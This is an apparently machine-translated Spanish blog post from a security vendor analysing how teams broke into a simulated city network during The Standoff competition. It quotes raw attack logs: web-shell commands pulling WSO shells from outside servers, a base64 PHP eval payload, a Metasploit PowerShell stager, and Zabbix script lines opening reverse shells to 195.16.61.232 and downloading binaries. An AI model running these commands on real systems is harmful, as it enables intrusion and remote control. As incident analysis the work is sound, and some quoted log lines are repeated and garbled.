Entonces, la siguiente "confrontación" terminó en los días de Hack Positivo 8. Esta vez, más de cien personas participaron en la lucha: 12 equipos de atacantes, 8 equipos de defensores y una ciudad entera que tuvieron que atacar y defender.
Esta vez, The Standoff contó con la presencia no solo de equipos de atacantes y defensores, sino que los tres productos de nuestra compañía observaron todo lo que sucedió en la red de juegos:
Los tres productos fueron monitoreados por el equipo del centro de expertos en seguridad de Positive Technologies (PT ESC), que monitorea las tendencias y eventos del juego para informar a los visitantes del centro de expertos sobre esto.
Esta fue la primera participación de este tipo de un equipo de expertos y productos y mostraron su mejor lado: había tantos datos que serían suficientes para un gran informe. Las redes de la oficina # 2 de la compañía integradora SPUTNIK y la oficina # 1 de la compañía de seguros BeHealthy resultaron ser las más interesantes y completas por descripción. La Oficina No. 2 fue interesante porque estaba bajo la supervisión del SOC RTK, pero no fue atendida por un equipo de defensores y fue atacada por completo por los equipos atacantes.
Permítanme recordarles que, además de dos oficinas, la ciudad tenía una estación de energía térmica y una subestación, ferrocarril, hogares inteligentes con recuperación de energía y bancos con cajeros automáticos.
Infraestructura de juegoLa forma en que se analizaron los eventos en las oficinas n. ° 1 y n. ° 2 a través del prisma de MaxPatrol SIEM, PT NAD y PT MultiScanner con énfasis en los detalles técnicos del pirateo.
Diagrama lógico de una oficina de red de juegos # 2:
Dirigirse a los equipos atacantes es 172.31.x.0 / 24, donde x es el número de comando del 1 al 8. De hecho, había 12 equipos en total, pero debido a la arquitectura de la infraestructura de red de la red (el núcleo de la red se emuló en Cisco CSR1000v) y el físico equipo, fue posible organizar solo 8 interfaces de red físicas que se cambiaron para equipos en toda el área de juego. Por lo tanto, en cuatro redes, se ubicaron dos equipos.
En la infraestructura de Office # 2, se asignaron cuatro segmentos de red:
- DMZ (100.64.154.0/25);
- servidores (10.106.60.0/24);
- Empleados de la empresa (10.106.50.0/24);
- equipo defensor (10.106.82.0/24).
Los nodos ubicados en la zona desmilitarizada eran accesibles a través de la red para todos los atacantes. Al acceder a estos nodos, las direcciones de red reales de los comandos NAT provenían del grupo 100.110.255.0/24, por lo que para los defensores no fue fácil averiguar quién posee este o aquel tráfico de red: este podría ser uno de los 12 equipos atacantes o un verificador de script legítimo, comprobar la capacidad de servicio de los servicios del mismo grupo de direcciones que los atacantes.
Para llenar nuestros productos con eventos sobre lo que está sucediendo en la infraestructura de juegos, organizamos la eliminación y la redirección de una copia de todo el tráfico de red en PT NAD, así como también configuramos una auditoría extendida de los eventos de los sistemas de destino y organizamos su entrega a MaxPatrol SIEM.
El análisis de los ataques con énfasis en los equipos se puede encontrar en nuestro otro
informe sobre Habr .
Joomla (100.64.154.147)
Uno de los servidores en la oficina DMZ # 2 era un servidor con Joomla CMS. Unas pocas horas después del inicio del juego, aparecieron los primeros signos de compromiso de este servidor en PT NAD: relleno de shell web del grupo de direcciones IP "grises":
Como se mencionó, todas las subredes de los equipos atacantes se terminaron en el mismo ME (Attacker-FW) y al crear una conexión con los objetos atacados, las direcciones IP de los atacantes se tradujeron en direcciones IP grises de un solo grupo (100.110.255.0/24). Por lo tanto, para la personificación de ataques por comandos, se implementó un esquema con el enriquecimiento de las puertas de enlace de acuerdo con la tabla NAT de este ME. En el marco de MP SIEM, el enriquecimiento fue el siguiente:
Este enfoque nos permitió determinar que este ataque fue iniciado por el equipo # 1. Sin embargo, debido al uso del mismo grupo de direcciones por parte de diferentes equipos, no podemos determinar de manera confiable el nombre del equipo a pedido de una red en particular, y con el propósito de una mayor narración nombraremos a los equipos por sus números de red.
Una hora después de probar el comando n. ° 1, PT NAD notó que el comando n. ° 8 se estaba cargando en otro shell web con el nombre de voz SHE __. El comando establece una sesión ssh de un usuario usuario sin privilegios.
La contraseña para esta cuenta estaba en la parte superior del diccionario rockyou y coincidía. El acceso a la cuenta raíz para el 8vo equipo apareció solo alrededor de las 4:00 p.m. debido a la membresía del usuario en el grupo con el derecho de ejecutar comandos sin contraseña desde la raíz. Podemos estar convencidos de esto en los registros MP SIEM, que nos informan sobre el primer inicio de sesión como usuario usuario y luego sobre la escalada de privilegios con el comando sudo.
El tiempo de registro puede variar en 3 horas debido a la configuración del servidor del juego.
En la tarde del primer día de la confrontación, el sexto equipo tomó posesión de Joomla. NAD descubrió la explotación de una vulnerabilidad, o más bien, una
característica a través de la cual el equipo cargó el conocido shell web WSO y comenzó a interactuar con él.
100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP 100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP … 100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP 100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP 100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTP
Vale la pena señalar que el script que usaban los comandos para llenar los shells,
requiere una cuenta de administrador, cuya contraseña se seleccionó utilizando otra
vulnerabilidad CVE-2017-14596 en el mecanismo de autenticación en Joomla a través de LDAP: al cambiar la solicitud de autenticación LDAP, los atacantes recogen rápidamente el inicio de sesión y la contraseña de la cuenta de administrador.
Y después de media hora tomaron el control de todo el sistema.
Los equipos atacantes utilizaron la máquina capturada para realizar más reconocimientos en la red de la segunda oficina SPUTNIK con las utilidades nmap y hping3. Podemos tener una idea de sus acciones a partir de los datos MP SIEM:
Ejemplo de la red de oficinas de inteligencia DMZ 2 (100.64.154.0/24) y la red del equipo defensor (10.106.82.0/24):
A las 21:17, encontramos que el cliente OpenVPN estaba instalado y lanzado en el servidor de Joomla. La conexión se estableció con el servidor 195.16.61.229, ubicado en Moscú. Un poco más tarde, descubrimos que estas acciones fueron realizadas por miembros del equipo # 6 y, por lo tanto, el equipo logró atraer recursos informáticos y humanos adicionales ubicados en un sitio remoto.
Toda la interacción con el sitio remoto se llevó a cabo dentro del túnel protegido, por lo que es imposible establecer la naturaleza de esta interacción y el grado de su influencia en el juego. Solo podemos sacar conclusiones indirectas, en función del número de sesiones de VPN y la cantidad de datos transferidos.
Pero lo más interesante es que el equipo no limpió los rastros: después del juego, encontramos en el servidor ovpn una configuración que contiene los certificados raíz y personales, la clave privada y los datos personales del propietario de la clave. Si utiliza un motor de búsqueda, no es nada difícil determinar la identidad real del propietario bajo el apodo phonexicum. El mapa completo con todas las conexiones VPN durante el juego se puede examinar al final del artículo.
Otros eventos interesantes comenzaron a desarrollarse después de la medianoche (+3 horas a los registros).
Shell /id.php comando # 4 encuentra el comando # 1:
[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1 [15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1 [15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1 [15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1
E inmediatamente se fortalece en el sistema, preservando el shell web de WSO con el nombre 123.php
[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1 [15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1 [15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1 [15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1
El primer equipo fue anfitrión hasta que el equipo # 4 descubrió esto unas horas más tarde y, después de una breve discusión, cambia el nombre del shell id.php a 021371b392f0b42398630fd668adff5d.php
[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1 [16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1 [16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1
Posteriormente, 021371b392f0b42398630fd668adff5d.php fue reemplazado por kekekeke.php y kekpek.php
[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 (base64_decode (ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr ( [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 > Kekekeke.php HTTP [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1
Los siguientes eventos en la infraestructura de dominio de la oficina # 2 SPUTNIK están estrechamente relacionados con lo que está sucediendo en Jumla.
SPUTNIK (10.106.60.0/24)
Después de que Joomla fue perforado, el atacante obtuvo acceso a los segmentos internos de la infraestructura SPUTNIK (Oficina # 2). Sin pensarlo dos veces, el exploit MS17-010 vuela al controlador de dominio WIN2008R2-DC.domain2.phd (10.106.60.10).
Es más conveniente observar la cronología de otros eventos por los desencadenantes de MP SIEM:
El primer paso del atacante fue crear un usuario con el nombre "nombre de usuario" y la contraseña "1qazzaq!" y agregarlo al grupo de administradores locales (pantalla # 2). La explotación exitosa de exploits desde MS17-010 da acceso con privilegios NT-Authority \ System y en los registros de Windows dicho acceso se muestra como win2008r2-dc $.
En nombre del nuevo usuario, crea un par de servicios que ejecutan un determinado script de PowerShell:
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""
Este script fue generado por el marco Metasploit. Su propósito es abrir el socket en el puerto 55443 para escuchar y ejecutar la "carga útil" que llegó a este puerto, presumiblemente Meterpreter.
Un intento de lanzar un shell remoto fue exitoso. Después de eso, los atacantes continuaron desarrollando el ataque y el nombre de usuario crea otra cuenta con el nombre "vitalik", agregando esta cuenta al grupo "Administradores de dominio" y poco después de su creación, vemos un inicio de sesión interactivo.
Si bien vitalik creó el servicio con el mismo script de PowerShell que el nombre de usuario, el nombre de usuario restableció masivamente las contraseñas de las cuentas de dominio y se interesó en el vecino servidor de correo de dominio Win2008R2-EXCH.
La actividad casi simultánea de los usuarios de usuario y vitalik en el servidor de dominio de Exchange (escaneo e inicio de sesión) sugiere que probablemente varios miembros del equipo examinaron la red SPUTNIK al mismo tiempo.
vitalik verifica la disponibilidad del servidor de correo y lanza la consola de administración del servidor después de un inicio de sesión interactivo.
Al no encontrar nada que valga la pena, arrastra su instrumentación y artillería pesada al host Win2008R2-DC: numerosos scripts de PowerShell y el marco BloodHound aparecen en el controlador de dominio, que es una herramienta popular para el reconocimiento en las redes de Active Directory. Para acceder a la interfaz web de BloodHound, el participante tuvo que desactivar el modo protegido en IE, que también fue detectado por el SIEM.
La actividad de BloodHound en la red no pasó por PT NAD. Una de las características de la herramienta era escanear hosts en la red en busca de conexiones activas. Tal tráfico al servicio SRVSVC es detectado por una de las firmas PT NAD e indica inteligencia dentro de la red:
Aproximadamente a la una de la mañana, los atacantes, después de haber creado previamente una copia instantánea del disco utilizando la utilidad vssadmin, arrastraron la base de datos ntds.dit que contiene todas las cuentas de dominio. Después de completar con éxito este ataque, los atacantes toman completamente el control del dominio, recibiendo el hash de la cuenta especial "krbtgt" a su disposición. Ser propietario de esta cuenta le permite crear y usar el llamado. Golden Ticket: ticket Kerberos para acceso ilimitado a los recursos en el dominio, acceso a servidores en nombre de cualquier usuario existente e incluso inexistente, y cualquier acción en el dominio. Usar Golden Ticket es bastante difícil de detectar con equipos de protección, pero comprometer los enlaces krbtgt y ntds.dit es mucho más fácil de detectar.
El equipo está pasando gradualmente de la investigación de dominio a la investigación de la red del sistema de control de procesos automatizado que ha abierto. Tras arrastrar los escáneres Nmap a los empleados de SPUTNIK: YLAVRENTIEV.sputnik.phd y EPONOMAREV.sputnik.phd, las redes se escanearon 172.20.xx. Los participantes usaron
nmap_performance.reg para cambiar los parámetros TCP / IP de la pila de ventanas y acelerar el escaneo de la red de control de procesos.
Las conexiones a los hosts en el sistema de control automático de procesos de la red a través de los túneles en los hosts de dominio SPUTNIK hablan por sí mismos. Puede encontrar una descripción de lo que hicieron los piratas informáticos en la red industrial en el video de nuestros colegas en
YouTube .
Entre los otros logros de los atacantes, se notaron otros túneles, sesiones ssh, avances creativos después de una noche de insomnio el primer día de la competencia y, por supuesto, mineros de juegos establecidos que extrajeron la moneda DDOS Coin.
ZABBIX (100.64.100.161)
Ubicado en la oficina DMZ # 1 y con orgullo desempeñó su papel hasta aproximadamente el mediodía, fue pirateado por un equipo no identificado.
No fue difícil encontrar credenciales de administrador y el equipo utilizó la funcionalidad incorporada de zabbix para expandir ilimitadamente las capacidades de monitoreo utilizando scripts personalizados.
Puede usar cualquier comando de Linux en los scripts, que es lo que los equipos miembros usaron para crear shells y proxies Socks.
command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/ping -c 3 {HOST.CONN} 2>&1 command=ls /bin/ command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=ping 8.8.8.8 command=ping 8.8.8.8; netstat -tulpn command=ping -n 4 8.8.8.8; netstat -tulpn command=ls /tmp/phd command=netstat -tulpn command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp command=ls /tmp command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp command=ping -c 4 195.16.61.232 command=touch /tmp/test;ls /tmp/ command=pwd command=whoami command=ls /var/www/html command=which nc command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin command=bash -i >& /dev/tcp/195.16.61.232/195 >&1 command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1 command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1
El equipo intentó descargar el módulo del servidor bajo el control 195.16.61.232, pero fue en vano:
Luego, después de un poco de exploración del entorno, instalé un shell bash remoto usando herramientas linux estándar con el mismo servidor, enviando paquetes directamente a / dev / tcp /.
No menos interesante fue el contenido del tráfico entre el equipo y los proyectiles, que se transmitió a la intemperie y no pasó por los sensores PT NAD.
bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ nmap bash: nmap: command not found bash-4.2$ ifconfig bash-4.2$ ping 172.30.240.106 bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py bash-4.2$ python linuxprivchecker.py bash-4.2$ uname -a bash-4.2$ cd /etc/cron.daily: bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389 bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 & bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 & bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 & bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 & bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 & bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 & bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 & bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 & bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 & bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 & bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 & bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 & bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 & bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 & bash-4.2$ ./gost -L=socks5://:1081 &
Como podemos ver, el servidor ZABBIX se usó principalmente como cabeza de puente para el reconocimiento de subredes de oficina # 1: 10.100.50.0/24 (Usuarios), 10.100.60.0/24 (Servidores) y 10.100.80.0/24 (SecurityTeam).
Multiservidor (100.64.100.167)
Multiserver es otro host de Linux en DMZ office # 1 con un par de servidores HTTP y una base de datos MySQL a bordo. Aunque el multiservidor fue sometido a un escaneo intensivo, solo hubo unos pocos ataques exitosos. El host contenía la vulnerabilidad SambaCry 2017, encontrada después de las vulnerabilidades MS17-010, y los equipos intentaron usarla. El filtro PT NAD le permite localizar sus intentos en la línea de tiempo:
La carga en uno de los intentos de comando # 3 fue la biblioteca ejecutable DTECJtAf.so. Y, a juzgar por el nombre de la biblioteca, los miembros del equipo utilizaron el módulo is_known_pipename del Metasploit Framework. Prueba:
Durante el enfrentamiento, los expertos fueron asistidos por PT MultiScanner, que verificó todos los archivos que volaban por la red que fueron notados por PT NAD. Después de un par de momentos, emite un veredicto a DTECJtAf.so volando sobre la red: Linux / SmbPayload.C
A juzgar por la falta de más interacciones de red entre el servidor y el comando # 3, el exploit no tuvo éxito. Sin embargo, casi al mismo tiempo, vemos una sesión SSH activa del equipo # 4. Por el volumen de tráfico transmitido, podemos juzgar que los atacantes utilizaron el servidor al máximo.
En términos generales, el primer inicio de sesión SSH exitoso del usuario administrador del equipo # 4 ocurrió alrededor de las 3:20 p.m. del primer día de la competencia:
Como cualquier atacante decente, el inicio de sesión es seguido por la verificación de privilegios y el reconocimiento en el host:
Y más allá:
Con facilidad, llevamos a cabo la atribución del atacante por idioma:
El multiservidor no recibió la configuración adecuada y no se sabe con certeza qué otros intentos hicieron los equipos. A juzgar por los registros disponibles, este host, así como otros hosts en la oficina DMZ # 1, sirvieron como punto de partida para explorar la infraestructura interna de la oficina.
Mis
Otros anfitriones también se convirtieron en el foco de atención de los equipos. Por ejemplo, los participantes se comportaron con curiosidad en relación con el enrutador Mikrotik al 100.64.100.237 en la red DMZ de Office # 1. Aproximadamente a las 2 a.m. del segundo día de la confrontación, hubo un inicio de sesión exitoso en la consola de la consola del enrutador Telnet con el par "admin: VxPvRxX74e8xrbia77hsi7WKm". La versión de firmware del dispositivo era 6.38.4: esta es la versión en la que se probó el famoso exploit Chimay Red Stack Clash para Mikrotik, que permitió ejecutar cualquier código en el dispositivo y, en particular, extraer las contraseñas de los usuarios en el enrutador. PT NAD ha descubierto una vulnerabilidad de explotación.
Pero luego, en el área del almuerzo, el equipo que primero tomó el enrutador decidió cerrar el agujero con una simple actualización de firmware y monopolizar el acceso:
Este es uno de los pocos ejemplos en los que un equipo de participantes cierra un agujero en el sistema para que otros equipos no puedan capturar este host.
PT MultiScanner ha detectado un curioso evento:
Para acceder al banco, los equipos pueden usar el cliente del banco disponible en el sitio. El sitio está ubicado en la red bancaria bajo la supervisión de un equipo de defensores y
construyeron el cliente utilizando el marco Metasploit y lo reemplazaron con el original. Afortunadamente para los defensores, el cliente incorporado fue descargado por varios equipos, como vemos en la captura de pantalla de PT MultiScanner arriba. No se notaron conexiones exitosas, pero vale la pena mencionar el caso, porque tales escenarios tienen lugar en la vida cotidiana: los programas de troyanos atacantes en sitios oficiales o reemplazan actualizaciones para llevar a cabo ataques a clientes.
Mineros
Otra innovación en The Standoff fue el advenimiento de los mineros de juegos. Según la leyenda, los equipos podrían usar los servidores capturados como mineros, lo que les trajo puntos extra. En lugar de las criptomonedas tradicionales, extrajeron DDoS Coin, el equivalente monetario del esfuerzo dedicado a un ataque DDoS en un servidor. Los datos de los apretones de manos de TLS 1.2 sirvieron como prueba de trabajo y cuanto más el minero hizo los apretones de manos de TLS con el servidor objetivo, mayor era su probabilidad de encontrar un nuevo bloque y recibir su recompensa del organizador del ataque DDoS.
El cliente fue escrito en Go y podía funcionar tanto en Windows como en Linux. La idea se aplicó por primera vez y, aunque no todos los equipos lograron aplicarla, los intentos de lanzarla se vieron en muchos servidores de la infraestructura de juegos:
Intente ejecutar el minero en el nodo de Joomla (100.64.154.147)
Ejecutando el minero desde la infraestructura SPUTNIK (10.106.60.0/24)
Como parte del juego, los equipos podrían extraer criptomonedas e intercambiarlas por puntos de juego. La mitad de los equipos lograron usar los servidores previamente capturados para extraer bloques. También hubo un componente de intercambio en la lógica del juego: con un cambio brusco en la cantidad de moneda extraída, su tipo de cambio disminuyó. Por lo tanto, fue posible realizar operaciones especulativas y ganar puntos sin completar tareas básicas. Pero dado que esta idea no se aplicó previamente en tales juegos, los equipos no pudieron usarla adecuadamente y esto no afectó significativamente el curso del juego.
En términos de la cantidad de bloques minados, el equipo kazajo de CARKA tomó la iniciativa, que fue el primero en lanzar mineros en la infraestructura de juegos. Aquí pudimos pasar de los números de red de los equipos a sus nombres debido al hecho de que sus identificadores incluían información sobre el bloque y se tenían en cuenta al calcularlos. En general, la idea resultó ser buena, y seguramente se puede ver en el próximo The Standoff.
En lugar de salida
El último enfrentamiento estuvo activo: 12 equipos exploraron activamente y piratearon la infraestructura de la ciudad. Nuestros productos nos permitieron "espiar" exactamente cómo actuaron los participantes del juego, qué tácticas y herramientas eligieron y cuál se convirtió en su objetivo. Fuimos testigos de cómo interactuaron con la infraestructura de dominio de la oficina, comenzando con la infección de una máquina y terminando con la captura de todo el dominio y la transición a la siguiente red ACS. Durante un evento como The Standoff, los productos tienen una gran carga: MaxPatrol SIEM manejó 20,000 EPS, y PT NAD procesó más de 3 terabytes de tráfico de red en ambos días, sin mencionar la infraestructura de red en sí: enrutadores, conmutadores y firewalls.
Tal compromiso de las oficinas virtuales podría ocurrir con las reales sin los medios adecuados de protección y control. Como regla, esto conduce a la filtración de datos valiosos, como correspondencia, datos financieros y datos personales de empleados / usuarios.
Entre los escaneos interminables, los brutos y los intentos de explotar todo tipo de vulnerabilidades, los productos ayudaron a determinar cómo se piratearon los servidores de infraestructura del juego. Se determinaron ataques exitosos y rastros de compromisos exitosos, tales como shells web, consolas remotas, túneles e inicios de sesión de host. Todo esto ayuda a los expertos a mejorar los productos.
En esta captura de pantalla de estadísticas sobre las conexiones VPN de los equipos durante el juego, puedes ver cuán internacional fue The Standoff: ¡se establecieron conexiones VPN con servidores en los Estados Unidos, Kazajstán, los Países Bajos y la mitad de Europa! Por cierto, no había equipos de Estados Unidos o Europa en The Standoff, pero había un equipo de Kazajstán.